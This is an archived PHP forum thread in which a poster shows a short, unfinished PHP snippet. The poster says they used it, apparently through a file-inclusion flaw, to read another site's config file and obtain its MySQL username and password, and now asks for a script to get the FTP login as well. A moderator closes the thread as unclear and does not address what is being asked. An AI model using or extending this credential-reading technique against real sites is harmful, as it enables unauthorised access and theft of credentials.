Jump to content
#StayAtHome ×


This topic is now archived and is closed to further replies.


Ftp Acess via php script ?

Recommended Posts



I want to run a php script in one site and to know the user and pass for ftp acess.

I put in my site a php script and i run it to the other site with ap_where:



$file = "../config/config.php";

$handle = fopen($file, "r");

$contents = '';

while (!feof($handle)) {

$contents .= fread($handle, 8192);

$contents = htmlspecialchars($contents);

echo $contents;






and it gave me the pass and user for the mysql database,

any script to gave me the ftp elements??



Share this post

Link to post
Share on other sites

Mod Edit: Closed -- I'd move it if I knew what the question was asking, but I just plain DON'T. Please, rephrase and elaborate on your question respecting English wherever you can (we understand it may not be your first language) and make a new post in either the "PHP Help" or "PHP Newbies" forum. For all our sakes.


Thank you.

Share this post

Link to post
Share on other sites
This topic is now closed to further replies.

  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.